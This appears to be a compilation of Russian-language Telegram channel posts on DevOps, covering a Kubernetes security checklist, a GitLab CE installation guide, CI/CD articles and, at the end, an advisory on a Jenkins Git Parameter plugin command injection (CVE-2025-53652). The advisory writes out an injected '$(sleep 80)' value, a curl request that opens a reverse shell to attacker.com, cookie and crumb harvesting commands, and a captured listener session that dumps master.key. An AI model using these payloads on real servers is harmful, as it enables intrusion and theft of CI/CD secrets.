DevOps Exercises

🔥 Это репозиторий содержит вопросы и упражнения по различным техническим темам, связанным с DevOps и SRE.
📊 В настоящее время здесь содержится 2624 упражнения и вопроса.
⚠️ Вы можете использовать их для подготовки к собеседованию, но возможно вопросы и упражнения не будут соответствовать реальному собеседованию.

#devops #sre

💬 Канал | 💻 Github

☄️ Набор рекомендаций по безопасности развертывания Kubernetes.

Цель этого контрольного списка — систематизировать подход к безопасности кластера Kubernetes и обеспечить выполнение всех необходимых шагов для защиты кластера от потенциальных угроз.

Короче говоря, он предоставляет организациям отправную точку для оценки безопасности своего развертывания Kubernetes и внесения любых необходимых изменений для полной защиты.

Рекомендации списка разбиты по категориям:
➖ Аутентификация и авторизация
➖ Секреты
➖ Безопасность конфигурации кластера
➖ Аудит и регистрация
➖ Безопасная конфигурация ОС
➖ Сетевая безопасность
➖ Безопасная настройка рабочих нагрузок
➖ Безопасная сборка образа

Следуйте рекомендациям и вы предпримете наиболее важные шаги для усиления защиты сред Kubernetes 🫡

#devops #devsecops #kubernetes

@DevOpsKaz

🖼️ Автоматизируем сборку и деплой приложения в GitLab CI/CD: подробное руководство с примерами
#devops #k8s #docker

При разработке приложений рано или поздно наступает момент, когда заниматься развёртыванием вручную становится затратно и неудобно. Как следствие на помощь приходит автоматизация этого процесса с помощью специально настроенных пайплайнов непрерывной интеграции и непрерывной доставки (Continuous Integration & Continuous Delivery — CI/CD). Для разных систем управления репозиториями исходного кода существуют свои способы настройки CI/CD.

В этой статье мы рассмотрим, как использовать GitLab для организации автоматической сборки и деплоя приложения в кластер Kubernetes. Сам кластер будет работать под управлением Deckhouse Kubernetes Platform (код приложения и процесс настройки кластера авторы описывали в предыдущей статье цикла), а автоматизировать процесс будем с помощью werf — Open Source CLI-утилиты, организующей полный цикл доставки приложения в Kubernetes и использующей Git как единый источник истины для состояния приложения, развёрнутого в кластере.

➡️ Читать далее

🌚 @poxek

🤓 Установка Gitlab CE + Gitlab Runner + Gitlab Registry 🖼️
#devsecops #devops #разработка

GitLab — инструмент для совместной работы над проектами разработки программного обеспечения. Он обеспечивает хранение и управление репозиториями Git, а также контроль версий программного кода. GitLab автоматизирует процессы CI/CD: сборку, тестирование и развертывание ПО. Для запуска и автоматического выполнения задач CI/CD в GitLab используется приложение GitLab Runner.

⚖️ Подготовка:
1. Вам нужен сервер на 🖥 Ubuntu 22.04 с минимальными характеристиками 4 Гб ОЗУ и 4 ядра. Я же рекомендую 8 Гб ОЗУ и 8 Ядер.
2. Вам нужен домен.
3. В доменном регистраторе сделайте 2 поддомена: gitlab. и registry.gitlab. и создайте A записи с IP своего сервера
4. Выполнить минимальную настройку по этому гайду и выполнить ssh-keygen -t ed25519

📌 ed25519 более новый стандарт, чем RSA и сейчас best practice использовать этот алгоритм

⚖️ После настройки сервера:
5. Создаете нового пользователя, выдаёте права и добавляете свой ssh ключ в ~/.ssh/authorized_keys
6. Установим zsh как оболочку по умолчанию: chsh -s /bin/zsh
7. Замените в /etc/ssh/sshd_config с # Port 22 на Port 4422. Чтобы наш ssh сервер не мешал гитлабовскому
9. Отключим IPv6 для ufw
sed -i 's+IPV6=yes+IPV6=no+g' /etc/default/ufw
8. Добавьте необходимые порты в ufw: ufw allow 80; ufw allow 443; ufw allow 22; ufw allow 4422; ufw enable и тыкаете y
9. Далее создаете docker-compose.yml

version: '3.8'
services:
  gitlab:
    container_name: gitlab-ce
    image: 'gitlab/gitlab-ce:latest'
    restart: always
    hostname: 'gitlab-ce'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'https://gitlab.redacted.com'
        registry_external_url 'https://registry.gitlab.redacted.com'
        gitlab_rails['registry_enabled'] = true
        letsencrypt['enable'] = true
        letsencrypt['contact_emails'] = ['ВАША_ПОЧТА']
        letsencrypt['auto_renew'] = true
    ports:
      - '80:80'
      - '443:443'
      - '22:22'
    volumes:
      - '/opt/gitlab/config:/etc/gitlab'
      - '/opt/gitlab/logs:/var/log/gitlab'
      - '/opt/gitlab/data:/var/opt/gitlab'
    networks:
      - gitlab

  gitlab-runner:
    container_name: gitlab-runner
    image: gitlab/gitlab-runner:latest
    restart: always
    hostname: 'gitlab-runner'
    depends_on:
      - gitlab
    volumes:
      - '/opt/gitlab-runner/data:/home/gitlab_ci_multi_runner/data'
      - '/opt/gitlab-runner/config:/etc/gitlab-runner'
      - '/var/run/docker.sock:/var/run/docker.sock:rw'
    environment:
      - CI_SERVER_URL=https://gitlab.redacted.com/ci
    networks:
      - gitlab

networks:
  gitlab:
    name: gitlab-network

10. Запускаете конфигурацию docker compose up -d . И ждём... Если скучно, то можно следить за ходом установки docker logs --follow gitlab-ce

12. Посмотрим пасс от аккаунта админа: grep 'Password: ' /opt/gitlab/config/initial_root_password
13. Переходим на gitlab.redacted.com и авторизуемся root:пасс_из_файла

Если всё получилось поднимаю за вас бокал гранатового вина 🍷
Если не получилось, то несу вам тонометр

⚖️ Настройка Gitlab:
0. Проверяем, что все нужные сервисы запустились в разделе Features и потом проверяем health_check
1. Сразу отключаем регистрацию других пользователей (хоть им и потребуется подтверждение от админа, но кто знает какая CVE будет в будущем). Для этого идём сюда и в разделе Sign-up restrictions убираем галочку у Sign-up enabled
2. Далее создадим своего пользователя. Обязательно ставим, что пользователь Administrator
2.1. Возвращаемся на шаг назад и нажимаем Edit по пользователю и задаем ему пароль
3. Логинимся под новым аккаунтом, нас попросит изменить пароль, но мы можем указать во все 3 поля одинаковый пароль
4. Удаляем пользователя root
5. Настроим рейт лимиты. Я поставил 10 запросов на IP и бан на 24 часа + поставил веселый текст для тех, кто будет фаззить мой сервер :))
6. Отключил рекламу и по фану поставил себе первый рабочий день Monday

⚖️ Далее можете поставить себе темную тему, добавить свои ssh ключи и радоваться жизни с полноценным Gitlab CE

🌚 @poxek

Disaster Recovery Plan: Как правильно заваривать чай, когда горит серверная
#риски #devops

В жизни любого проекта наступает катастрофа. Мы не можем заранее знать, что именно это будет - короткое замыкание в серверной, инженер, дропнувший центральную БД или нашествие бобров. Тем не менее, оно обязательно случится, причем по предельно идиотской причине.

Насчет бобров, я, кстати, не шутил. В Канаде они перегрызли кабель и оставили целый район Tumbler Ridge без оптоволоконной связи. Причем, животные, как мне кажется, делают все для того, чтобы внезапно лишить вас доступа к вашим ресурсам:

Макаки жуют провода
Цикады принимают кабели за ветки, и расковыривают их, чтобы отложить внутрь яйца.
Акулы жуют трансатлантические кабели Google
А в топе источника проблем для крупной телекоммуникационной компании Level 3 Communications вообще были белки.

➡️ Читать далее

🌚 @poxek

Будущее Kubernetes и DevOps: строим прогнозы на 10 лет
#devops #k8s #docker

Мы спросили инженеров «Фланта» и экспертов из индустрии, как, по их мнению, будут развиваться Kubernetes, DevOps, Ops и Cloud Native-экосистема в ближайшее десятилетие. Наша задача была спрогнозировать будущее на основе тенденций в настоящем, а не просто «заглянуть в хрустальный шар» и пофантазировать. В результате родилась эта статья. Присоединяйтесь к нам в комментариях — давайте вместе подумаем, как будут выглядеть важные в нашей работе инструменты через 5–10 лет.

➡️ Читать далее

🌚 @poxek

Настройка CI/CD для самых маленьких разработчиков
#devops #k8s #docker #CICD

Считается, что построение CI/CD - задача для DevOps. Глобально это действительно так, особенно если речь идет о первоначальной настройке. Но часто с докручиванием отдельных этапов процесса сталкиваются и разработчики. Умение поправить что-то незначительное своими силами позволяет не тратить время на поход к коллегам (и ожидание их реакции), т.е. в целом повышает комфорт работы и дает понимание, почему все происходит именно так.

Настроек для пайплайна Gitlab очень много. В этой статье, не вдаваясь в недра тюнинга, поговорим о том, как выглядит скрипт пайплайна, из каких блоков он состоит и что может содержать.

➡️ Читать далее

🌚 @poxek

Как мы взломали цепочку поставок и получили 50 тысяч долларов
#docker #DevOps #bugbounty #багбаунти #github

Прикольная статья про то, как два француза соревновались друг с другом за крутое Баунти и место в лидерборде HackerOne и как в итоге пришли к сотрудничеству)

Ребята захотели сделать что-то нереальное и реализовать один из сложных векторов для RCE через Supply Chain Attack. Они узнали, что компания недавно купила другую дочернюю компанию и они предположили, что там могут быть хреновые процессы и за ними меньше следят, собственно они не прогадали)

➡️Читать далее

🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча

Основные концепции сетевой архитектуры Kubernetes, а также CNI, Service Mesh и т.д
#k8s #CNI #service_mesh #kubernetes #DevOps #сети

Автор статьи работает DevOps-инженером и немного сисадмином в одной достаточно крупной компании, в его зоне ответственности несколько k8s-кластеров, которые он админит на ежедневной основе.

Он постарался собрать в этой статье самые важные понятия, связанные с организацией сети в Kubernetes, с внутрикластерным взаимодействием и т.д, которые крайне необходимы DevOps-инженеру. Теперь, если соискатель поплывёт на собеседовании, он сможет вместе с фидбеком прикладывать ссылку на эту статью, чтобы кандидат мог освежить свои знания) [+rep за такое]

🔗Читать дальше

🌚 @poxek | 🌚 blog.poxek.cc | 📺 YT | 📺 RT | 📺 VK

Разворачивание инфраструктуры OpenCTF для AppSecFest 2025
#bb #bugbounty #CTF #appsec #KZ #КЗ #DevOps

AppSecFest — это ежегодное событие, где вы можете познакомиться с миром кибербезопасности и узнать больше о событиях и решениях используемых многими компаниями уже сейчас.

На данном мероприятии наша команда mimicats выступала в роли организаторов и мы решили разбавить выступления спикеров и презентации решений более практическими и интересными заданиями.

Нами было сделано Play Zone, где участвуя в интерактивных играх и квизах связанных с кибербезопасностью вы могли заработать коины для покупки эксклюзивного мерча.
А также мы решили простроить целую инфраструктуру для данного мероприятия и проведения локального соревнования, где приняли участие как и уже бывалые ИБ-шники, так и совсем зеленные новички.

Дальше уже пойдет больше про то, что было сделано, а также вектор в котором мы двигались при построении данной инфраструктуры.

План статьи:
1️⃣ Архитектура проекта и немного воды
2️⃣Настройка OpenVPN
3️⃣Телеграм боты
4️⃣CTFd
5️⃣Wazuh
6️⃣Zabbix

🔗Читать далее

🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK | 🌚 Мерч

CVE-2025-53652: Jenkins под ударом через Git Parameter
#jenkins #devops #dev #git

Command injection в популярном Jenkins Git Parameter Plugin ставит под угрозу DevOps инфраструктуру тысяч организаций. Несмотря на официальную оценку "Medium", исследователи VulnCheck доказали возможность удаленного выполнения кода и компрометации CI/CD пайплайнов.

🪲Суть уязвимости

Git Parameter Plugin не валидирует параметры, передаваемые в build-процессы. Плагин принимает произвольные значения вместо проверки соответствия предложенным вариантам, что позволяет инъекцию команд через Git-параметры.

Затронутые версии: 439.vb_0e46ca_14534 и ранее
Исправлено в: 444.vca_b_84d3703c2

#️⃣Техническая механика атаки

➡️Цепочка эксплуатации

# Нормальный параметр
BRANCH_PARAM = "master"
# Выполняется: git rev-parse --resolve-git-dir /path/master/.git

# Вредоносный параметр
BRANCH_PARAM = "$(sleep 80)"  
# Выполняется: git rev-parse --resolve-git-dir /path/$(sleep 80)/.git
# Результат: команда sleep выполняется как дочерний процесс

Плагин встраивает пользовательский ввод напрямую в shell-команды без валидации. Git как GTFObin предоставляет множество способов выполнения команд, делая cmd injection особенно опасной.

➡️Практический эксплойт

# Reverse shell через curl
curl -kv 'http://jenkins:8080/job/buildName/build' -X POST \
  -H 'Cookie: [cookie]' \
  --data-urlencode 'Jenkins-Crumb=[crumb]' \
  --data-urlencode 'json={"parameter":{"name":"BRANCH_PARAM","value":"$(bash -c \"bash &> /dev/tcp/attacker.com/12700 <&1\")"}}'

❗️Масштаб проблемы

VulnCheck провел анализ интернет-экспозиции Jenkins:

| Категория              | Количество серверов | Риск|
|------------------------|---------------------|-------------|
| Требуют аутентификации | 100,000+            | Средний     |
| Открытая регистрация   | ~1,000              | Высокий     |
| Без аутентификации     | ~15,000             | Критический |

15,000 Jenkins-серверов полностью доступны без аутентификации, что делает RCE возможным "из коробки".

ℹ️Требования для эксплуатации

➡️Аутентифицированные атаки
- Права Item/Build на целевом проекте
- Знание имени build-задачи
- Валидная сессия и CSRF-токен

➡️Неаутентифицированные атаки
Даже на серверах без аутентификации требуется:
- Валидный session cookie
- Jenkins-Crumb (CSRF токен)
- Имя build-задачи

# Получение необходимых данных
curl -kv http://target:8080/ -o /dev/null  # Получить cookie
curl -kv http://target:8080/job/buildName/build -H 'Cookie: [cookie]' | grep "data-crumb-value="

❗️Реальное воздействие

➡️В случае успешного похека

# Результат эксплуатации
$ nc -lvnp 1270
Connection received on 172.18.0.3 55664
$ id
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)

$ cat ~/secrets/master.key
05322ff531f1b52117bf013b2fe77b40dacbc56268d68b9e234216fe825a0073a5c8051181033f630e67c408d58c3ef631e18ba8b8e6722e64d3c1380518e89a91b4256c5c348febceb24ef32f144045ed422dfb4bdc840aca33814989e431aa00db6df7c403da38247324783811d46c6f3caa1f9b1b26d979fff4391249ca8a

➡️Потенциальные последствия
- Доступ к master.key — полная компрометация Jenkins
- Исходный код проектов — утечка интеллектуальной собственности
- Секреты CI/CD — credentials, API ключи, сертификаты
- Supply chain атаки — внедрение backdoor в артефакты
- Lateral movement — распространение по инфраструктуре

❗️Митигация и защита

➡️Немедленные действия
1. Обновление плагина до версии 444.vca_b_84d3703c2+
2. Проверка bypass-флага — убедиться, что не установлен:

   -Dnet.uaznia.lukanus.hudson.plugins.gitparameter.GitParameterDefinition.allowAnyParameterValue=true
   

3. Аудит конфигурации — отключить ненужные плагины

➡️Долгосрочная стратегия
- Принцип наименьших привилегий для build permissions
- Сетевая сегментация Jenkins от критических систем
- Мониторинг активности через SIEM/SOC
- Регулярные security assessments CI/CD инфраструктуры

Источники:
🔗 VulnCheck Analysis
🔗 Jenkins Security Advisory
🔗 CVE-2025-53652 NVD

🌚 @poxek | MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч